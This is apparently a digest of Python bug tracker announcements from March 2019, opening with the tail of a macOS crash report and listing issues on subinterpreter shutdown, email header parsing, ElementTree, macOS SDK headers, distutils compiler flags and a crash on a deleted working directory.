    0x7fff62865000 -     0x7fff62867ff3  com.apple.loginsupport (1.0 - 1) <67BC49D6-320F-33ED-912E-16E5A342F385> /System/Library/PrivateFrameworks/login.framework/Versions/A/Frameworks/loginsupport.framework/Versions/A/loginsupport
    0x7fff62b22000 -     0x7fff62b5afff  libCRFSuite.dylib (41.15.4) <92752A96-D1CF-3CA1-837A-1E075AE4C642> /usr/lib/libCRFSuite.dylib
    0x7fff62b5d000 -     0x7fff62b68ff7  libChineseTokenizer.dylib (28.15.3) <55572692-4918-3C54-AD35-726E03EC47D5> /usr/lib/libChineseTokenizer.dylib
    0x7fff62bf9000 -     0x7fff62bfaff7  libDiagnosticMessagesClient.dylib (107) <15210AC0-61F9-3F9D-A159-A009F62EB537> /usr/lib/libDiagnosticMessagesClient.dylib
    0x7fff62c31000 -     0x7fff62df4ff7  libFosl_dynamic.dylib (18.3.2) <D67B74E9-EB95-38BC-995C-5F4CC044C3F7> /usr/lib/libFosl_dynamic.dylib
    0x7fff62e4a000 -     0x7fff62e69ff7  libMobileGestalt.dylib (645.220.9) <C2C55511-993B-34D2-9040-902BFDA38141> /usr/lib/libMobileGestalt.dylib
    0x7fff62e6a000 -     0x7fff62e6afff  libOpenScriptingUtil.dylib (179) <441A2E60-5D5C-3567-9B00-AA22E6EE5358> /usr/lib/libOpenScriptingUtil.dylib
    0x7fff62fab000 -     0x7fff62facffb  libSystem.B.dylib (1252.200.5) <C6201660-5E17-397D-BA21-C503420CD706> /usr/lib/libSystem.B.dylib
    0x7fff63036000 -     0x7fff63037fff  libThaiTokenizer.dylib (2.15.1) <F09EB0BB-1E8A-3391-BEF5-7D91F0715A62> /usr/lib/libThaiTokenizer.dylib
    0x7fff6304a000 -     0x7fff63060ffb  libapple_nghttp2.dylib (1.24.1) <71C126C5-D869-3E67-9778-058FA7F3CA74> /usr/lib/libapple_nghttp2.dylib
    0x7fff63061000 -     0x7fff6308affb  libarchive.2.dylib (54.200.3) <32B8634D-E465-3F6D-B254-A20D44504508> /usr/lib/libarchive.2.dylib
    0x7fff6310e000 -     0x7fff6310eff3  libauto.dylib (187) <003DEF68-0C59-3AFB-A7B7-A1B5ED301AF2> /usr/lib/libauto.dylib
    0x7fff631e5000 -     0x7fff631f5ff3  libbsm.0.dylib (39.200.18) <58A9ACEC-BF46-3A4E-86F5-3DD9AD7095B4> /usr/lib/libbsm.0.dylib
    0x7fff631f6000 -     0x7fff63204fff  libbz2.1.0.dylib (38.200.3) <4DEC3797-087F-3C8D-815B-48E895813251> /usr/lib/libbz2.1.0.dylib
    0x7fff63205000 -     0x7fff6325cff7  libc++.1.dylib (400.9.4) <B260AC33-EB9A-30C6-8746-D011B3B02B08> /usr/lib/libc++.1.dylib
    0x7fff6325d000 -     0x7fff63272fff  libc++abi.dylib (400.17) <446F4748-8A89-3D2E-AE1C-27EEBE93A8AB> /usr/lib/libc++abi.dylib
    0x7fff63273000 -     0x7fff63273ff3  libcharset.1.dylib (51.200.6) <43F7E100-F5D1-36AB-A26E-CF94196A19C0> /usr/lib/libcharset.1.dylib
    0x7fff63274000 -     0x7fff63284ffb  libcmph.dylib (6.15.1) <CEDA6538-C071-3B5A-948E-DF61E2878983> /usr/lib/libcmph.dylib
    0x7fff63285000 -     0x7fff6329dffb  libcompression.dylib (52.200.13) <05A2A91B-D24D-39E8-A071-261CBC5BB158> /usr/lib/libcompression.dylib
    0x7fff63548000 -     0x7fff6355efff  libcoretls.dylib (155.220.1) <1229F9EA-C070-3D03-9DC6-F548C59F9FD5> /usr/lib/libcoretls.dylib
    0x7fff6355f000 -     0x7fff63560ff3  libcoretls_cfhelpers.dylib (155.220.1) <33661841-3C3B-3608-86AC-C88D1CD6FE98> /usr/lib/libcoretls_cfhelpers.dylib
    0x7fff63bd7000 -     0x7fff63c2effb  libcups.2.dylib (462.10) <29B6D106-A5F2-321D-8916-90F595545D88> /usr/lib/libcups.2.dylib
    0x7fff63d66000 -     0x7fff63d66fff  libenergytrace.dylib (17.200.1) <F5BA8134-16F9-31CD-90E1-D1EBEBADA4AE> /usr/lib/libenergytrace.dylib
    0x7fff63d98000 -     0x7fff63d9dff7  libgermantok.dylib (17.15.2) <9381B152-5CFD-3D23-A5A7-4D64EE55B85E> /usr/lib/libgermantok.dylib
    0x7fff63d9e000 -     0x7fff63da3ff7  libheimdal-asn1.dylib (520.220.2) <D851A47D-E162-35F8-B8D4-6ABEA7FFDAD7> /usr/lib/libheimdal-asn1.dylib
    0x7fff63dcf000 -     0x7fff63ec0ff7  libiconv.2.dylib (51.200.6) <9FB95807-7C62-32B7-A19F-946D7FB7CCA6> /usr/lib/libiconv.2.dylib
    0x7fff63ec1000 -     0x7fff64124ffb  libicucore.A.dylib (62109.0.1) <FEB89BD3-79C4-3208-A754-7E6BC4D38548> /usr/lib/libicucore.A.dylib
    0x7fff64171000 -     0x7fff64172fff  liblangid.dylib (128.15.1) <663D0A24-7260-31D1-9BFE-74D67B6F72F6> /usr/lib/liblangid.dylib
    0x7fff64173000 -     0x7fff6418bfff  liblzma.5.dylib (10.200.3) <9A52A949-0CB1-39B6-9244-D079FB609559> /usr/lib/liblzma.5.dylib
    0x7fff641a3000 -     0x7fff64253fff  libmecab.1.0.0.dylib (779.24.1) <590BC39C-2A3E-368B-9499-C808B84C4955> /usr/lib/libmecab.1.0.0.dylib
    0x7fff64254000 -     0x7fff64491ff7  libmecabra.dylib (779.24.1) <22BFD5A8-EA42-3DC3-8910-F27DCFB1B631> /usr/lib/libmecabra.dylib
    0x7fff64669000 -     0x7fff649c1ffb  libnetwork.dylib (1229.240.1) <F99593DA-3089-3008-BE5B-5AC096EBF3A3> /usr/lib/libnetwork.dylib
    0x7fff64a53000 -     0x7fff651d9fe7  libobjc.A.dylib (750.1) <804715F4-F52D-34D0-8FEC-A25DC08513C3> /usr/lib/libobjc.A.dylib
    0x7fff651ec000 -     0x7fff651f0ffb  libpam.2.dylib (22.200.1) <85253002-89F2-3872-9C8A-1801303A2EBB> /usr/lib/libpam.2.dylib
    0x7fff651f3000 -     0x7fff65229ff7  libpcap.A.dylib (79.200.4) <6D25197A-2F7C-3147-A45A-F6F13E55909F> /usr/lib/libpcap.A.dylib
    0x7fff65343000 -     0x7fff6535bffb  libresolv.9.dylib (65.200.2) <A1A77B4E-1AF0-3039-9945-D05440494E00> /usr/lib/libresolv.9.dylib
    0x7fff653af000 -     0x7fff65586fe7  libsqlite3.dylib (274.22) <B30E3B7E-E22E-37A0-A3EB-EA333ADEE13E> /usr/lib/libsqlite3.dylib
    0x7fff656d7000 -     0x7fff65728ff7  libstdc++.6.dylib (104.1) <289782E6-5965-3C65-B54D-A4236C8B35A3> /usr/lib/libstdc++.6.dylib
    0x7fff65813000 -     0x7fff65816ffb  libutil.dylib (51.200.4) <10C5E165-0939-363A-9D13-7076F3B513EC> /usr/lib/libutil.dylib
    0x7fff65817000 -     0x7fff65824fff  libxar.1.dylib (404) <16E875B3-CF89-3059-87BB-36D301B32E7B> /usr/lib/libxar.1.dylib
    0x7fff65829000 -     0x7fff6590cfff  libxml2.2.dylib (32.8) <3E7875AC-3195-3800-AC48-8AA3B7BE51E4> /usr/lib/libxml2.2.dylib
    0x7fff6590d000 -     0x7fff65935ff3  libxslt.1.dylib (16.1) <D6EBFEBB-F88E-398F-B1B5-66F413C2CD32> /usr/lib/libxslt.1.dylib
    0x7fff65936000 -     0x7fff65948ffb  libz.1.dylib (70.200.4) <15F7B40A-424C-33BB-BF2C-7E8195128B78> /usr/lib/libz.1.dylib
    0x7fff659b9000 -     0x7fff659bdff3  libcache.dylib (81) <704331AC-E43D-343A-8C24-39201142AF27> /usr/lib/system/libcache.dylib
    0x7fff659be000 -     0x7fff659c8ff3  libcommonCrypto.dylib (60118.220.1) <9C865644-EE9A-3662-AB77-7C8A5E561784> /usr/lib/system/libcommonCrypto.dylib
    0x7fff659c9000 -     0x7fff659d0fff  libcompiler_rt.dylib (63.4) <817772E3-E836-3FFD-A39B-BDCD1C357221> /usr/lib/system/libcompiler_rt.dylib
    0x7fff659d1000 -     0x7fff659daff3  libcopyfile.dylib (146.200.3) <5C5C4F35-DAB7-3CF1-940F-F47192AB8289> /usr/lib/system/libcopyfile.dylib
    0x7fff659db000 -     0x7fff65a5ffdf  libcorecrypto.dylib (602.230.1) <C78D1A87-5543-3561-BEB4-3B480BA94ECB> /usr/lib/system/libcorecrypto.dylib
    0x7fff65ae6000 -     0x7fff65b20ff7  libdispatch.dylib (1008.220.2) <2FDB1401-5119-3DF0-91F5-F4E105F00CD7> /usr/lib/system/libdispatch.dylib
    0x7fff65b21000 -     0x7fff65b50ff3  libdyld.dylib (655.1) <90C801E7-5D05-37A8-810C-B58E8C53953A> /usr/lib/system/libdyld.dylib
    0x7fff65b51000 -     0x7fff65b51ffb  libkeymgr.dylib (30) <A4EFD9A4-2EF3-3E18-B325-F527E3821939> /usr/lib/system/libkeymgr.dylib
    0x7fff65b52000 -     0x7fff65b5eff7  libkxld.dylib (4903.241.1) <D039B38D-E8E6-3011-94F5-A21CD3D59526> /usr/lib/system/libkxld.dylib
    0x7fff65b5f000 -     0x7fff65b5fff7  liblaunch.dylib (1336.240.2) <D5F0014D-CF46-3B04-9DE0-A1466DA14A2C> /usr/lib/system/liblaunch.dylib
    0x7fff65b60000 -     0x7fff65b65fff  libmacho.dylib (921) <6ADB99F3-D142-3A0A-B3CE-031354766ACC> /usr/lib/system/libmacho.dylib
    0x7fff65b66000 -     0x7fff65b68ffb  libquarantine.dylib (86.220.1) <58524FD7-63C5-38E0-9D90-845A79551C14> /usr/lib/system/libquarantine.dylib
    0x7fff65b69000 -     0x7fff65b6aff3  libremovefile.dylib (45.200.2) <BA53CA8A-9974-3A43-9265-B110B1AE470F> /usr/lib/system/libremovefile.dylib
    0x7fff65b6b000 -     0x7fff65b82ff3  libsystem_asl.dylib (356.200.4) <33C62769-1242-3BC1-9459-13CBCDECC7FE> /usr/lib/system/libsystem_asl.dylib
    0x7fff65b83000 -     0x7fff65b83fff  libsystem_blocks.dylib (73) <152EDADF-7D94-35F2-89B7-E66DCD945BBA> /usr/lib/system/libsystem_blocks.dylib
    0x7fff65b84000 -     0x7fff65c0cfff  libsystem_c.dylib (1272.200.26) <D6C701A2-9F17-308D-B6AC-9E17EF31B7DF> /usr/lib/system/libsystem_c.dylib
    0x7fff65c0d000 -     0x7fff65c10ff7  libsystem_configuration.dylib (963.200.27) <94898525-ECC8-3CC9-B312-CBEAAC305E32> /usr/lib/system/libsystem_configuration.dylib
    0x7fff65c11000 -     0x7fff65c14ff7  libsystem_coreservices.dylib (66) <10818C17-70E1-328E-A3E3-C3EB81AEC590> /usr/lib/system/libsystem_coreservices.dylib
    0x7fff65c15000 -     0x7fff65c1bffb  libsystem_darwin.dylib (1272.200.26) <07468CF7-982F-37C4-83D0-D5E602A683AA> /usr/lib/system/libsystem_darwin.dylib
    0x7fff65c1c000 -     0x7fff65c22ff7  libsystem_dnssd.dylib (878.240.1) <5FEA5E1E-E80F-3616-AD33-8E936D61F31A> /usr/lib/system/libsystem_dnssd.dylib
    0x7fff65c23000 -     0x7fff65c6fff3  libsystem_info.dylib (517.200.9) <54B65F21-2E93-3579-9B72-6637A03245D9> /usr/lib/system/libsystem_info.dylib
    0x7fff65c70000 -     0x7fff65c98ff7  libsystem_kernel.dylib (4903.241.1) <CA10BC3A-5B09-32CE-B74F-BAD01755AA37> /usr/lib/system/libsystem_kernel.dylib
    0x7fff65c99000 -     0x7fff65ce4ff7  libsystem_m.dylib (3158.200.7) <AF25F8E8-194C-314F-A2D3-A424853EE796> /usr/lib/system/libsystem_m.dylib
    0x7fff65ce5000 -     0x7fff65d09ff7  libsystem_malloc.dylib (166.220.1) <4777DC06-F9C6-356E-82AB-86A1C6D62F3A> /usr/lib/system/libsystem_malloc.dylib
    0x7fff65d0a000 -     0x7fff65d15ff3  libsystem_networkextension.dylib (767.240.1) <4DB0D4A2-83E7-3638-AAA0-39CECD5C25F8> /usr/lib/system/libsystem_networkextension.dylib
    0x7fff65d16000 -     0x7fff65d1dfff  libsystem_notify.dylib (172.200.21) <65B3061D-41D7-3485-B217-A861E05AD50B> /usr/lib/system/libsystem_notify.dylib
    0x7fff65d1e000 -     0x7fff65d27fef  libsystem_platform.dylib (177.200.16) <83DED753-51EC-3B8C-A98D-883A5184086B> /usr/lib/system/libsystem_platform.dylib
    0x7fff65d28000 -     0x7fff65d32fff  libsystem_pthread.dylib (330.230.1) <80CC5992-823E-327E-BB6E-9D4568B84161> /usr/lib/system/libsystem_pthread.dylib
    0x7fff65d33000 -     0x7fff65d36ff7  libsystem_sandbox.dylib (851.230.3) <D6469A17-C13C-3538-A300-D6517BB7F249> /usr/lib/system/libsystem_sandbox.dylib
    0x7fff65d37000 -     0x7fff65d39ff3  libsystem_secinit.dylib (30.220.1) <5964B6D2-19D4-3CF9-BDBC-4EB1D42348F1> /usr/lib/system/libsystem_secinit.dylib
    0x7fff65d3a000 -     0x7fff65d41ff7  libsystem_symptoms.dylib (820.237.2) <487E1794-4C6E-3B1B-9C55-95B1A5FF9B90> /usr/lib/system/libsystem_symptoms.dylib
    0x7fff65d42000 -     0x7fff65d57ff7  libsystem_trace.dylib (906.220.1) <4D4BA88A-FA32-379D-8860-33838723B35F> /usr/lib/system/libsystem_trace.dylib
    0x7fff65d59000 -     0x7fff65d5effb  libunwind.dylib (35.4) <EF1A77FD-A86B-39F5-ABEA-6100AB23583A> /usr/lib/system/libunwind.dylib
    0x7fff65d5f000 -     0x7fff65d8ffff  libxpc.dylib (1336.240.2) <EE0CDA53-6FF9-3B4E-A571-335A5FF6B6F4> /usr/lib/system/libxpc.dylib

External Modification Summary:
  Calls made by other processes targeting this process:
    task_for_pid: 0
    thread_create: 0
    thread_set_state: 0
  Calls made by this process:
    task_for_pid: 0
    thread_create: 0
    thread_set_state: 0
  Calls made by all processes on this machine:
    task_for_pid: 1884
    thread_create: 0
    thread_set_state: 0

VM Region Summary:
ReadOnly portion of Libraries: Total=420.0M resident=0K(0%) swapped_out_or_unallocated=420.0M(100%)
Writable regions: Total=288.5M written=0K(0%) resident=0K(0%) swapped_out=0K(0%) unallocated=288.5M(100%)
 
                                VIRTUAL   REGION 
REGION TYPE                        SIZE    COUNT (non-coalesced) 
===========                     =======  ======= 
Kernel Alloc Once                    8K        2 
MALLOC                            87.0M       18 
MALLOC guard page                   16K        5 
MALLOC_LARGE (reserved)            128K        2         reserved VM address space (unallocated)
STACK GUARD                         24K        7 
Stack                             18.5M        7 
VM_ALLOCATE                       22.0M       45 
VM_ALLOCATE (reserved)           160.0M        3         reserved VM address space (unallocated)
__DATA                            18.4M      302 
__FONT_DATA                          4K        2 
__LINKEDIT                       224.5M       86 
__TEXT                           195.5M      270 
__UNICODE                          564K        2 
shared memory                       12K        4 
===========                     =======  ======= 
TOTAL                            726.7M      741 
TOTAL, minus reserved VM space   566.6M      741 

Model: MacBookPro15,1, BootROM 220.240.2.0.0 (iBridge: 16.16.3133.0.0,0), 6 processors, Intel Core i7, 2.6 GHz, 32 GB, SMC 
Graphics: Intel UHD Graphics 630, Intel UHD Graphics 630, Built-In
Graphics: Radeon Pro 560X, Radeon Pro 560X, PCIe
Memory Module: BANK 0/ChannelA-DIMM0, 16 GB, DDR4, 2400 MHz, Micron, 16ATS2G64HZ-2G6B1 16ATS2G64HZ-2G6B1
Memory Module: BANK 2/ChannelB-DIMM0, 16 GB, DDR4, 2400 MHz, Micron, 16ATS2G64HZ-2G6B1 16ATS2G64HZ-2G6B1
AirPort: spairport_wireless_card_type_airport_extreme (0x14E4, 0x7BF), wl0: Sep 18 2018 16:24:57 version 9.130.86.7.32.6.21 FWID 01-83a3fe91
Bluetooth: Version 6.0.10f1, 3 services, 27 devices, 1 incoming serial ports
Network Service: Wi-Fi, AirPort, en0
USB Device: USB 3.1 Bus
USB Device: iBridge Bus
USB Device: iBridge DFR brightness
USB Device: iBridge Display
USB Device: Apple Internal Keyboard / Trackpad
USB Device: Headset
USB Device: iBridge ALS
USB Device: iBridge FaceTime HD Camera (Built-in)
USB Device: iBridge
Thunderbolt Bus: MacBook Pro, Apple Inc., 34.6
Thunderbolt Bus: MacBook Pro, Apple Inc., 34.6

----------
components: macOS
messages: 337391
nosy: Xin Wang, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: Python quit unexpectedly error
type: crash
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36224>
_______________________________________

From report at bugs.python.org  Thu Mar  7 08:17:43 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Thu, 07 Mar 2019 13:17:43 +0000
Subject: [New-bugs-announce] [issue36225] Lingering subinterpreters should
 be implicitly cleared on shutdown
Message-ID: <1551964663.69.0.686712846789.issue36225@roundup.psfhosted.org>


New submission from Nick Coghlan <ncoghlan at gmail.com>:

https://docs.python.org/3/c-api/init.html#c.Py_EndInterpreter states that "Py_FinalizeEx() will destroy all sub-interpreters that haven?t been explicitly destroyed at that point."

As discussed in https://github.com/hexchat/hexchat/issues/2237, Python 3.7+ doesn't currently do that - it calls Py_FatalError instead.

That change came from https://github.com/python/cpython/pull/1728, which was based on my initial PEP 432 refactoring work, and I didn't realise that implicitly cleaning up lingering subinterpreters was a documented behaviour.

So I think we should just fix it to behave as documented, and add a new regression test to make sure it doesn't get broken again in the future.

----------
keywords: 3.7regression
messages: 337392
nosy: eric.snow, ncoghlan, petr.viktorin
priority: normal
severity: normal
stage: needs patch
status: open
title: Lingering subinterpreters should be implicitly cleared on shutdown
type: crash
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36225>
_______________________________________

From report at bugs.python.org  Thu Mar  7 10:31:17 2019
From: report at bugs.python.org (Christian Schmidbauer)
Date: Thu, 07 Mar 2019 15:31:17 +0000
Subject: [New-bugs-announce] [issue36226] multipart/related header causes
 false positive StartBoundaryNotFoundDefect and
 MultipartInvariantViolationDefect
Message-ID: <1551972677.41.0.0937724546543.issue36226@roundup.psfhosted.org>


New submission from Christian Schmidbauer <cschmidbauer at genesiscloud.com>:

The current implementation of `multipart/related` in urllib triggers header defects even though the headers are valid:
`[StartBoundaryNotFoundDefect(), MultipartInvariantViolationDefect()]`

The example header is valid according to RFC 2387 (https://tools.ietf.org/html/rfc2387):
```
Content-Type: multipart/related; boundary="==="

```

Both defects are triggered by the fact that httplib only passes on headers to the underlying email parser, while the email parser assumes to receive a full message. The simple fix is to tell the underlying email parser that we are only passing the header: 0a89fc15c93c271eb08e46e2cda9a72adb97d633

The second issue is related, but independent: The underlying email parser checks if the parsed message is of type multipart by checking of the object "root" is of type list. As we only passed the header (and set `headersonly=True`), the check does makes no sense anymore at this point, creating a false positive: fdc7c47b77e330a36255fd00dc36accd72824e5b

----------
components: Library (Lib)
messages: 337395
nosy: Christian Schmidbauer
priority: normal
severity: normal
status: open
title: multipart/related header causes false positive StartBoundaryNotFoundDefect and MultipartInvariantViolationDefect
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36226>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:57:14 2019
From: report at bugs.python.org (=?utf-8?q?Bernt_R=C3=B8skar_Brenna?=)
Date: Thu, 07 Mar 2019 18:57:14 +0000
Subject: [New-bugs-announce] [issue36227] Add default_namespace argument to
 xml.etree.ElementTree.tostring()
Message-ID: <1551985034.23.0.477389977226.issue36227@roundup.psfhosted.org>


New submission from Bernt R?skar Brenna <bernt.brenna at gmail.com>:

default_namespace is often used when serializing ET elements. tostring() is mainly a wrapper around ElementTree.write(), and it is therefore natural that it mirrors write's argument. tostring() already passes encoding, method and short_empty_elements to write.

----------
components: Library (Lib)
messages: 337428
nosy: Bernt.R?skar.Brenna
priority: normal
severity: normal
status: open
title: Add default_namespace argument to xml.etree.ElementTree.tostring()
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36227>
_______________________________________

From report at bugs.python.org  Thu Mar  7 15:21:17 2019
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0LDRgiDQndCw0LPQsNC10LI=?=)
Date: Thu, 07 Mar 2019 20:21:17 +0000
Subject: [New-bugs-announce] [issue36228] Add function to complex objectf
Message-ID: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>


New submission from ????? ?????? <sidorovmarat1995 at gmail.com>:

I think complex object should have methods __float__ (returns real part) and __int__ (returns int(real)).
Also I think we need floor and ceil methods om cmath module.
I think, these functions are useful.

----------
components: Extension Modules, Library (Lib)
messages: 337431
nosy: nagayev
priority: normal
severity: normal
status: open
title: Add function to complex objectf
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Thu Mar  7 16:39:51 2019
From: report at bugs.python.org (Brandt Bucher)
Date: Thu, 07 Mar 2019 21:39:51 +0000
Subject: [New-bugs-announce] [issue36229] Linear-time ops for some mutable
 collections.
Message-ID: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>


New submission from Brandt Bucher <brandtbucher at gmail.com>:

Binary operations on collections are, in general, of quadratic complexity. However, we can sometimes operate in-place if we know that we hold the only reference to the object. This allows us to avoid making many intermediate copies when summing many lists (or dicts ;), taking the union of many sets, or working with literals.

The attached PR adds a simple 2-line refcount check which delegates to the corresponding in-place operation for: list_concat, list_repeat, set_and, set_or, set_xor, set_sub, bytearray_concat, and bytearray_repeat.

----------
components: Interpreter Core
messages: 337442
nosy: brandtbucher
priority: normal
severity: normal
status: open
title: Linear-time ops for some mutable collections.
type: performance
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Thu Mar  7 17:00:28 2019
From: report at bugs.python.org (Jess)
Date: Thu, 07 Mar 2019 22:00:28 +0000
Subject: [New-bugs-announce] [issue36230] Please sort assertSetEqual's output
Message-ID: <1551996028.77.0.0944355403743.issue36230@roundup.psfhosted.org>


New submission from Jess <jess at gmail.com>:

Currently https://docs.python.org/2/library/unittest.html#unittest.TestCase.assertSetEqual returns a random list, but I'd like to see it sorted for ease of reading which running tests.

Should be small, but useful.  Happy to make the edit myself, but have no clue how to send you changes.

----------
components: Tests
messages: 337443
nosy: Jess
priority: normal
severity: normal
status: open
title: Please sort assertSetEqual's output
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36230>
_______________________________________

From report at bugs.python.org  Fri Mar  8 05:03:47 2019
From: report at bugs.python.org (Dmitrii Pasechnik)
Date: Fri, 08 Mar 2019 10:03:47 +0000
Subject: [New-bugs-announce] [issue36231] no "proper" header files on macOS
 10.14 Mojave
Message-ID: <1552039427.3.0.599611853277.issue36231@roundup.psfhosted.org>


New submission from Dmitrii Pasechnik <dimpase at gmail.com>:

Neither Xcode nor its command-line tools on macOS 10.14 Mojave come with header files installed in /usr/ and other "normal" directories.

This is not documented in https://devguide.python.org/setup/#macos-and-os-x

While an extra step to handle this, i.e. to install the headers, is available (see a discussion on https://bugs.python.org/issue34956), Apple stated that this workaround will disappear.

It is thus highly desirable to provide a way to deal with headers located not at /usr/include, but at `xcrun --show-sdk-path`/usr/include.
A small change in setup.py along the lines of the following:

--- a/setup.py
+++ b/setup.py
@@ -134,7 +134,8 @@ def macosx_sdk_root():
     cflags = sysconfig.get_config_var('CFLAGS')
     m = re.search(r'-isysroot\s+(\S+)', cflags)
     if m is None:
-        sysroot = '/'
+        import subprocess
+        sysroot = subprocess.check_output(["xcrun", "--show-sdk-path"]).decode("utf-8").strip('\n')
     else:
         sysroot = m.group(1)
     return sysroot
@@ -146,6 +147,7 @@ def is_macosx_sdk_path(path):
     """
     return ( (path.startswith('/usr/') and not path.startswith('/usr/local'))
                 or path.startswith('/System/')
+                or path.startswith('/Applications/')
                 or path.startswith('/Library/') )

with the necessary changes to enable various modules (see attachment for a complete POC diff against the current master), the result builds and passes all the (enabled) tests on an OSX 10.13 system with empty /usr/include and /usr/local/include containing only LZMA headers.

Needless to say, a proper patch would not modify Modules/Setup, it'd adjust configure.ac etc.

----------
components: macOS
files: noincludedirs_OSX.patch
keywords: patch
messages: 337461
nosy: dimpase, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: no "proper" header files on macOS 10.14 Mojave
type: compile error
versions: Python 3.8
Added file: https://bugs.python.org/file48192/noincludedirs_OSX.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36231>
_______________________________________

From report at bugs.python.org  Fri Mar  8 05:06:52 2019
From: report at bugs.python.org (Marco Rougeth)
Date: Fri, 08 Mar 2019 10:06:52 +0000
Subject: [New-bugs-announce] [issue36232] Improve error message on dbm.open
Message-ID: <1552039612.76.0.91124690084.issue36232@roundup.psfhosted.org>


New submission from Marco Rougeth <marco at rougeth.com>:

If dbm.open is used with the flags 'r' or 'w' (read-only) to open a file that doesn't exist, it raises an exception with the message "need 'c' or 'n' flag to open new db". It'd be better to have a more explicit error message like "db file doesn't exist, use 'c' or 'n' flag to open new db".

----------
messages: 337462
nosy: rougeth
priority: normal
pull_requests: 12220
severity: normal
status: open
title: Improve error message on dbm.open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36232>
_______________________________________

From report at bugs.python.org  Fri Mar  8 05:08:07 2019
From: report at bugs.python.org (Johann Krauter)
Date: Fri, 08 Mar 2019 10:08:07 +0000
Subject: [New-bugs-announce] [issue36233] xml ElementTree quotation marks of
 xml version string
Message-ID: <1552039687.7.0.55265972714.issue36233@roundup.psfhosted.org>


New submission from Johann Krauter <johannkrauter at googlemail.com>:

I have the problem, that a xml file is save with the following xml declaration: 
<?xml version='1.0' encoding='utf-8'?> 
instead of 
<?xml version="1.0" encoding="utf-8"?>

I would propose to change the line number 769 in the ElementTree.py to: 
write("<?xml version=\"1.0\" encoding=\"%s\"?>\n" % (
                    declared_encoding,))

----------
components: XML
files: ElementTree.py
messages: 337463
nosy: Photoniker
priority: normal
severity: normal
status: open
title: xml ElementTree quotation marks of xml version string
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48193/ElementTree.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36233>
_______________________________________

From report at bugs.python.org  Fri Mar  8 05:12:26 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 10:12:26 +0000
Subject: [New-bugs-announce] [issue36234] test_os: add tests for invalid uid
 type
Message-ID: <1552039946.81.0.426305889882.issue36234@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

The Fedora package of python contains a downstream patch to add more tests for invalid uid types:
https://src.fedoraproject.org/rpms/python2/blob/master/f/00157-uid-gid-overflows.patch

I propose to make this patch upstream. More tests never hurts :-)

uid/gid overflow has been fixed bpo-4591.

The patch comes from:
https://bugzilla.redhat.com/show_bug.cgi?id=697470

Attached PRs add more tests.

----------
components: Tests
messages: 337464
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_os: add tests for invalid uid type
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36234>
_______________________________________

From report at bugs.python.org  Fri Mar  8 07:23:45 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 12:23:45 +0000
Subject: [New-bugs-announce] [issue36235]
 distutils.sysconfig.customize_compiler() overrides CFLAGS var with OPT var
 if CFLAGS env var is set
Message-ID: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

When a C extension is built by distutils, distutils.sysconfig.customize_compiler() is used to configure compiler flags. Extract of the code:

    (cc, cxx, opt, cflags, ccshared, ldshared, shlib_suffix, ar, ar_flags) = \
        get_config_vars('CC', 'CXX', 'OPT', 'CFLAGS',
                        'CCSHARED', 'LDSHARED', 'SHLIB_SUFFIX', 'AR', 'ARFLAGS')

    ...
    if 'CFLAGS' in os.environ:
        cflags = opt + ' ' + os.environ['CFLAGS']
        ldshared = ldshared + ' ' + os.environ['CFLAGS']
    if 'CPPFLAGS' in os.environ:
        cpp = cpp + ' ' + os.environ['CPPFLAGS']
        cflags = cflags + ' ' + os.environ['CPPFLAGS']
        ldshared = ldshared + ' ' + os.environ['CPPFLAGS']
    ...

If the CFLAGS environment variable is set, the 'CFLAGS' configuration variable is overriden with the 'OPT' configuration variable: cflags = opt + ...

This bug has been fixed since 2013 in Fedora and RHEL by this patch:
https://src.fedoraproject.org/rpms/python2/blob/master/f/00168-distutils-cflags.patch

RHEL bug report:
https://bugzilla.redhat.com/show_bug.cgi?id=849994

I converted that patch to a pull request.

----------
components: Build
messages: 337468
nosy: vstinner
priority: normal
severity: normal
status: open
title: distutils.sysconfig.customize_compiler() overrides CFLAGS var with OPT var if CFLAGS env var is set
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Fri Mar  8 07:32:47 2019
From: report at bugs.python.org (=?utf-8?b?TMOhc3psw7MgS2lzcyBLb2xsw6Fy?=)
Date: Fri, 08 Mar 2019 12:32:47 +0000
Subject: [New-bugs-announce] [issue36236] Python crash on macOS when CWD is
 invalid
Message-ID: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>


New submission from L?szl? Kiss Koll?r <kiss.kollar.laszlo at gmail.com>:

CPython crashes with "pymain_compute_path0: memory allocation failed" when attempting to execute it with a library module from a previously deleted directory.

To reproduce:

cd ~/tmp/python_crash

rm -rf ~/tmp/python_crash

python3.7 -m pdb
